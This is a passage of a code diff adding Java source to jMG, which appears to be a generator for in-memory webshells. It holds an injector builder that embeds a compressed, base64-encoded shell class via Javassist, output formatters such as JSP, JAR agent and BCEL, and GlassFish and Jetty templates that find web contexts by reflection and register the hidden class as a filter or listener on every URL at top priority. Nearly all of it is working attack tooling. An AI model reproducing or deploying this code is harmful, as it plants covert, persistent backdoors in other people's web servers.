byte[] bytes = UtilPlus.generate(injectorClassName, config);
|
||||
config.setInjectorBytes(bytes);
|
||||
config.setInjectorBytesLength(bytes.length);
|
||||
return bytes;
|
||||
}
|
||||
|
||||
|
||||
public static class UtilPlus {
|
||||
@SuppressWarnings("unchecked")
|
||||
private final static ClassPool pool = ClassPool.getDefault();
|
||||
|
||||
public static byte[] generate(String injectorTplClassName, AbstractConfig config) throws Exception {
|
||||
pool.insertClassPath(new ClassClassPath(InjectorGenerator.class));
|
||||
CtClass ctClass = pool.getCtClass(injectorTplClassName);
|
||||
ctClass.getClassFile().setVersionToJava5();
|
||||
String base64ShellString = CommonUtil.encodeBase64(CommonUtil.gzipCompress(config.getShellBytes())).replace(System.lineSeparator(), "");
|
||||
|
||||
String urlPattern = config.getUrlPattern();
|
||||
String shellClassName = config.getShellClassName();
|
||||
|
||||
if (base64ShellString != null) {
|
||||
CtMethod getBase64String = ctClass.getDeclaredMethod("getBase64String");
|
||||
String[] parts = splitChunks(base64ShellString.replace(System.lineSeparator(), ""), 40000);
|
||||
StringBuilder result = new StringBuilder();
|
||||
for (int i = 0; i < parts.length; i++) {
|
||||
if (i > 0)
|
||||
result.append("+");
|
||||
result.append("new String(\"" + parts[i] + "\")");
|
||||
}
|
||||
|
||||
getBase64String.setBody(String.format("{return %s;}", result));
|
||||
}
|
||||
|
||||
if (config.getShellType().equalsIgnoreCase(Constants.SHELL_FILTER) || config.getShellType().equalsIgnoreCase(Constants.SHELL_WF_HANDLERMETHOD)) {
|
||||
CtMethod getUrlPattern = ctClass.getDeclaredMethod("getUrlPattern");
|
||||
getUrlPattern.setBody(String.format("{return \"%s\";}", urlPattern));
|
||||
}
|
||||
|
||||
if (shellClassName != null) {
|
||||
CtMethod getUrlPattern = ctClass.getDeclaredMethod("getClassName");
|
||||
getUrlPattern.setBody(String.format("{return \"%s\";}", shellClassName));
|
||||
}
|
||||
|
||||
JavassistUtil.setNameIfNotNull(ctClass, config.getInjectorClassName());
|
||||
JavassistUtil.removeSourceFileAttribute(ctClass);
|
||||
byte[] bytes = new CtClassUtil(config, pool, ctClass).modifyForExploitation();
|
||||
ctClass.detach();
|
||||
return bytes;
|
||||
}
|
||||
|
||||
private static String[] splitChunks(String source, int CHUNK_SIZE) {
|
||||
String[] ret = new String[(int) Math.ceil(source.length() / (double) CHUNK_SIZE)];
|
||||
char[] payload = source.toCharArray();
|
||||
int start = 0;
|
||||
for (int i = 0; i < ret.length; i++) {
|
||||
if (start + CHUNK_SIZE > payload.length) {
|
||||
char[] b = new char[payload.length - start];
|
||||
System.arraycopy(payload, start, b, 0, payload.length - start);
|
||||
ret[i] = new String(b);
|
||||
} else {
|
||||
char[] b = new char[CHUNK_SIZE];
|
||||
System.arraycopy(payload, start, b, 0, CHUNK_SIZE);
|
||||
ret[i] = new String(b);
|
||||
}
|
||||
start += CHUNK_SIZE;
|
||||
}
|
||||
return ret;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,52 @@
|
||||
package jmg.core;
|
||||
|
||||
|
||||
import jmg.core.config.AbstractConfig;
|
||||
import jmg.core.config.Constants;
|
||||
import jmg.core.format.*;
|
||||
|
||||
public class jMGCodeApi {
|
||||
AbstractConfig config;
|
||||
|
||||
public jMGCodeApi(AbstractConfig config) {
|
||||
this.config = config;
|
||||
}
|
||||
|
||||
public byte[] generate() throws Throwable {
|
||||
byte[] clazzBytes;
|
||||
clazzBytes = config.getInjectorBytes();
|
||||
if (clazzBytes == null) {
|
||||
return null;
|
||||
}
|
||||
|
||||
// 格式转换
|
||||
byte[] bytes = null;
|
||||
switch (config.getOutputFormat()) {
|
||||
case Constants.FORMAT_BCEL:
|
||||
bytes = new BCELFormater().transform(clazzBytes, config);
|
||||
break;
|
||||
case Constants.FORMAT_JSP:
|
||||
bytes = new JSPFormater().transform(clazzBytes, config);
|
||||
break;
|
||||
case Constants.FORMAT_JAR:
|
||||
bytes = new JARFormater().transform(clazzBytes, config);
|
||||
break;
|
||||
case Constants.FORMAT_JAR_AGENT:
|
||||
bytes = new JARAgentFormater().transform(clazzBytes, config);
|
||||
break;
|
||||
case Constants.FORMAT_JS:
|
||||
bytes = new JavaScriptFormater().transform(clazzBytes, config);
|
||||
break;
|
||||
case Constants.FORMAT_BASE64:
|
||||
bytes = new BASE64Formater().transform(clazzBytes, config);
|
||||
break;
|
||||
case Constants.FORMAT_BIGINTEGER:
|
||||
bytes = new BigIntegerFormater().transform(clazzBytes, config);
|
||||
break;
|
||||
default:
|
||||
bytes = clazzBytes;
|
||||
break;
|
||||
}
|
||||
return bytes;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,208 @@
|
||||
package jmg.core.template;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.ArrayList;
|
||||
import java.util.HashMap;
|
||||
import java.util.List;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
public class GlassFishFilterInjectorTpl {
|
||||
public String getUrlPattern() {
|
||||
return "/*";
|
||||
}
|
||||
|
||||
|
||||
public String getClassName() {
|
||||
return "";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "";
|
||||
}
|
||||
|
||||
static {
|
||||
new GlassFishFilterInjectorTpl();
|
||||
}
|
||||
|
||||
public GlassFishFilterInjectorTpl() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object filter = getFilter(context);
|
||||
addFilter(context, filter);
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
|
||||
List<Object> contexts = new ArrayList();
|
||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
|
||||
try {
|
||||
for (Thread thread : threads) {
|
||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||
HashMap childrenMap = (HashMap) getFV(getFV(getFV(thread, "target"), "this$0"), "children");
|
||||
for (Object key : childrenMap.keySet()) {
|
||||
HashMap children = (HashMap) getFV(childrenMap.get(key), "children");
|
||||
for (Object key1 : children.keySet()) {
|
||||
Object context = children.get(key1);
|
||||
if (context != null) contexts.add(context);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private Object getFilter(Object context) throws Exception {
|
||||
Object filter = null;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
if (classLoader == null) {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
}
|
||||
try {
|
||||
filter = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
filter = clazz.newInstance();
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
|
||||
}
|
||||
return filter;
|
||||
}
|
||||
|
||||
public void addFilter(Object context, Object filter) throws Exception {
|
||||
String filterName = getSimpleName(getClassName());
|
||||
try {
|
||||
Object filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").newInstance();
|
||||
Object filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").newInstance();
|
||||
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
|
||||
invokeMethod(filterDef, "setFilterClass", new Class[]{Class.class}, new Object[]{filter.getClass()});
|
||||
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
|
||||
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
|
||||
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass(), boolean.class}, new Object[]{filterMap, false});
|
||||
Constructor<?>[] constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
|
||||
constructors[0].setAccessible(true);
|
||||
Object filterConfig = constructors[0].newInstance(context, filterDef);
|
||||
HashMap<String, Object> filterConfigs = (HashMap<String, Object>) getFV(context, "filterConfigs");
|
||||
filterConfigs.put(filterName, filterConfig);
|
||||
|
||||
} catch (Exception e) {
|
||||
}
|
||||
}
|
||||
|
||||
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
public static String getSimpleName(String className) {
|
||||
int lastDotIndex = className.lastIndexOf(".");
|
||||
if (lastDotIndex != -1 && lastDotIndex < className.length() - 1) {
|
||||
return className.substring(lastDotIndex + 1);
|
||||
}
|
||||
return className;
|
||||
}
|
||||
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
|
||||
GZIPInputStream ungzip = new GZIPInputStream(in);
|
||||
byte[] buffer = new byte[256];
|
||||
int n;
|
||||
while ((n = ungzip.read(buffer)) >= 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
|
||||
static Object getFV(Object obj, String fieldName) throws Exception {
|
||||
Field field = getF(obj, fieldName);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
|
||||
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != null) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(fieldName);
|
||||
field.setAccessible(true);
|
||||
return field;
|
||||
} catch (NoSuchFieldException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(fieldName);
|
||||
}
|
||||
|
||||
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||
}
|
||||
|
||||
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
|
||||
Method method = null;
|
||||
|
||||
Class tempClass = clazz;
|
||||
while (method == null && tempClass != null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
// Get all declared methods of the class
|
||||
Method[] methods = tempClass.getDeclaredMethods();
|
||||
for (int i = 0; i < methods.length; i++) {
|
||||
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
|
||||
method = methods[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
tempClass = tempClass.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException(methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
if (obj instanceof Class) {
|
||||
try {
|
||||
return method.invoke(null, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
} else {
|
||||
try {
|
||||
return method.invoke(obj, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,193 @@
|
||||
package jmg.core.template;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.ArrayList;
|
||||
import java.util.EventListener;
|
||||
import java.util.HashMap;
|
||||
import java.util.List;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
|
||||
public class GlassFishListenerInjectorTpl {
|
||||
public String getClassName() {
|
||||
return "";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "";
|
||||
}
|
||||
|
||||
static {
|
||||
new GlassFishListenerInjectorTpl();
|
||||
}
|
||||
|
||||
public GlassFishListenerInjectorTpl() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object listener = getListener(context);
|
||||
addListener(context, listener);
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
|
||||
List<Object> contexts = new ArrayList();
|
||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
|
||||
try {
|
||||
for (Thread thread : threads) {
|
||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||
HashMap childrenMap = (HashMap) getFV(getFV(getFV(thread, "target"), "this$0"), "children");
|
||||
for (Object key : childrenMap.keySet()) {
|
||||
HashMap children = (HashMap) getFV(childrenMap.get(key), "children");
|
||||
for (Object key1 : children.keySet()) {
|
||||
Object context = children.get(key1);
|
||||
if (context != null) contexts.add(context);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private Object getListener(Object context) throws Exception {
|
||||
Object listener = null;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
if (classLoader == null) {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
}
|
||||
|
||||
try {
|
||||
listener = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
listener = clazz.newInstance();
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
|
||||
}
|
||||
return listener;
|
||||
}
|
||||
|
||||
public void addListener(Object context, Object listener) throws Exception {
|
||||
try {
|
||||
List<EventListener> eventListeners = (List<EventListener>) invokeMethod(context, "getApplicationEventListeners");
|
||||
boolean isExist = false;
|
||||
for (EventListener eventListener : eventListeners) {
|
||||
if (eventListener.getClass().getName().equals(listener.getClass().getName())) {
|
||||
isExist = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (!isExist) {
|
||||
eventListeners.add((EventListener) listener);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
|
||||
GZIPInputStream ungzip = new GZIPInputStream(in);
|
||||
byte[] buffer = new byte[256];
|
||||
int n;
|
||||
while ((n = ungzip.read(buffer)) >= 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
static Object getFV(Object obj, String fieldName) throws Exception {
|
||||
Field field = getF(obj, fieldName);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
|
||||
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != null) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(fieldName);
|
||||
field.setAccessible(true);
|
||||
return field;
|
||||
} catch (NoSuchFieldException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(fieldName);
|
||||
}
|
||||
|
||||
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||
}
|
||||
|
||||
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
|
||||
Method method = null;
|
||||
|
||||
Class tempClass = clazz;
|
||||
while (method == null && tempClass != null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
// Get all declared methods of the class
|
||||
Method[] methods = tempClass.getDeclaredMethods();
|
||||
for (int i = 0; i < methods.length; i++) {
|
||||
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
|
||||
method = methods[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
tempClass = tempClass.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException(methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
if (obj instanceof Class) {
|
||||
try {
|
||||
return method.invoke(null, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
} else {
|
||||
try {
|
||||
return method.invoke(obj, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,297 @@
|
||||
package jmg.core.template;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.UnsupportedEncodingException;
|
||||
import java.lang.reflect.*;
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* tested v8、v9
|
||||
*/
|
||||
|
||||
public class JettyFilterInjectorTpl {
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "/*";
|
||||
}
|
||||
|
||||
|
||||
public String getClassName() {
|
||||
return "";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "";
|
||||
}
|
||||
|
||||
static {
|
||||
new JettyFilterInjectorTpl();
|
||||
}
|
||||
|
||||
public JettyFilterInjectorTpl() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object filter = getFilter(context);
|
||||
addFilter(context, filter);
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
public String getFilterName(String className) {
|
||||
if (className.contains(".")) {
|
||||
int lastDotIndex = className.lastIndexOf(".");
|
||||
return className.substring(lastDotIndex + 1);
|
||||
} else {
|
||||
return className;
|
||||
}
|
||||
}
|
||||
|
||||
public void addFilter(Object context, Object magicFilter) throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException, UnsupportedEncodingException {
|
||||
String filterName = getFilterName(getClassName());
|
||||
|
||||
Class filterClass = magicFilter.getClass();
|
||||
try {
|
||||
Object servletHandler = getFV(context, "_servletHandler");
|
||||
|
||||
// 1. 判断是否已经注入
|
||||
if (isInjected(servletHandler, filterClass.getName())) {
|
||||
return;
|
||||
}
|
||||
|
||||
Class filterHolderClass = context.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.FilterHolder");
|
||||
Constructor constructor = filterHolderClass.getConstructor(Class.class);
|
||||
Object filterHolder = constructor.newInstance(filterClass);
|
||||
invokeMethod(filterHolder, "setName", new Class[]{String.class}, new Object[]{filterName});
|
||||
|
||||
|
||||
// 2. 注入内存马Filter
|
||||
invokeMethod(servletHandler, "addFilterWithMapping", new Class[]{filterHolderClass, String.class, int.class}, new Object[]{filterHolder, getUrlPattern(), 1});
|
||||
// 3. 修改Filter的优先级为第一位
|
||||
Object filterMaps = getFV(servletHandler, "_filterMappings");
|
||||
Object[] tmpFilterMaps = new Object[Array.getLength(filterMaps)];
|
||||
int n = 1;
|
||||
for (int i = 0; i < Array.getLength(filterMaps); i++) {
|
||||
Object filter = Array.get(filterMaps, i);
|
||||
String _filterName = (String) getFV(filter, "_filterName");
|
||||
if (_filterName.contains(filterClass.getName())) {
|
||||
tmpFilterMaps[0] = filter;
|
||||
} else {
|
||||
tmpFilterMaps[n] = filter;
|
||||
n++;
|
||||
}
|
||||
}
|
||||
for (int j = 0; j < tmpFilterMaps.length; j++) {
|
||||
Array.set(filterMaps, j, tmpFilterMaps[j]);
|
||||
}
|
||||
|
||||
// 4. 解决 jetty filterChainsCache 导致 filter 内存马连接失败的问题
|
||||
invokeMethod(servletHandler, "invalidateChainsCache");
|
||||
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
List<Object> getContext() {
|
||||
List<Object> contexts = new ArrayList();
|
||||
Thread[] threads = Thread.getAllStackTraces().keySet().toArray(new Thread[0]);
|
||||
for (Thread thread : threads) {
|
||||
try {
|
||||
Object contextClassLoader = getContextClassLoader(thread);
|
||||
if (isWebAppClassLoader(contextClassLoader)) {
|
||||
contexts.add(getContextFromWebAppClassLoader(contextClassLoader));
|
||||
} else if (isHttpConnection(thread)) {
|
||||
contexts.add(getContextFromHttpConnection(thread));
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private Object getContextClassLoader(Thread thread) throws Exception {
|
||||
return invokeMethod(thread, "getContextClassLoader");
|
||||
}
|
||||
|
||||
private boolean isWebAppClassLoader(Object classLoader) {
|
||||
return classLoader.getClass().getName().contains("WebAppClassLoader");
|
||||
}
|
||||
|
||||
private Object getContextFromWebAppClassLoader(Object classLoader) throws Exception {
|
||||
Object context = getFV(classLoader, "_context");
|
||||
Object handler = getFV(context, "_servletHandler");
|
||||
return getFV(handler, "_contextHandler");
|
||||
}
|
||||
|
||||
private boolean isHttpConnection(Thread thread) throws Exception {
|
||||
Object threadLocals = getFV(thread, "threadLocals");
|
||||
Object table = getFV(threadLocals, "table");
|
||||
for (int i = 0; i < Array.getLength(table); ++i) {
|
||||
Object entry = Array.get(table, i);
|
||||
if (entry != null) {
|
||||
Object httpConnection = getFV(entry, "value");
|
||||
if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
private Object getContextFromHttpConnection(Thread thread) throws Exception {
|
||||
Object threadLocals = getFV(thread, "threadLocals");
|
||||
Object table = getFV(threadLocals, "table");
|
||||
for (int i = 0; i < Array.getLength(table); ++i) {
|
||||
Object entry = Array.get(table, i);
|
||||
if (entry != null) {
|
||||
Object httpConnection = getFV(entry, "value");
|
||||
if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) {
|
||||
Object httpChannel = invokeMethod(httpConnection, "getHttpChannel");
|
||||
Object request = invokeMethod(httpChannel, "getRequest");
|
||||
Object session = invokeMethod(request, "getSession");
|
||||
Object servletContext = invokeMethod(session, "getServletContext");
|
||||
return getFV(servletContext, "this$0");
|
||||
}
|
||||
}
|
||||
}
|
||||
throw new Exception("HttpConnection not found");
|
||||
}
|
||||
|
||||
|
||||
private Object getFilter(Object context) {
|
||||
|
||||
Object filter = null;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
if (classLoader == null) {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
}
|
||||
try {
|
||||
filter = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
filter = clazz.newInstance();
|
||||
} catch (Exception e1) {
|
||||
e1.printStackTrace();
|
||||
}
|
||||
}
|
||||
return filter;
|
||||
}
|
||||
|
||||
public static boolean isInjected(Object servletHandler, String filterClassName) throws Exception {
|
||||
try {
|
||||
Object filterMaps = getFV(servletHandler, "_filterMappings");
|
||||
for (int i = 0; i < Array.getLength(filterMaps); i++) {
|
||||
Object filter = Array.get(filterMaps, i);
|
||||
String filterName = (String) getFV(filter, "_filterName");
|
||||
if (filterName.contains(filterClassName)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
} catch (Exception e) {
|
||||
return false;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
|
||||
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
|
||||
GZIPInputStream ungzip = new GZIPInputStream(in);
|
||||
byte[] buffer = new byte[256];
|
||||
int n;
|
||||
while ((n = ungzip.read(buffer)) >= 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
static Object getFV(Object obj, String fieldName) throws Exception {
|
||||
Field field = getF(obj, fieldName);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
|
||||
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != null) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(fieldName);
|
||||
field.setAccessible(true);
|
||||
return field;
|
||||
} catch (NoSuchFieldException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(fieldName);
|
||||
}
|
||||
|
||||
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||
}
|
||||
|
||||
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
|
||||
Method method = null;
|
||||
|
||||
Class tempClass = clazz;
|
||||
while (method == null && tempClass != null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
// Get all declared methods of the class
|
||||
Method[] methods = tempClass.getDeclaredMethods();
|
||||
for (int i = 0; i < methods.length; i++) {
|
||||
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
|
||||
method = methods[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
tempClass = tempClass.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException(methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
if (obj instanceof Class) {
|
||||
try {
|
||||
return method.invoke(null, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
} else {
|
||||
try {
|
||||
return method.invoke(obj, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
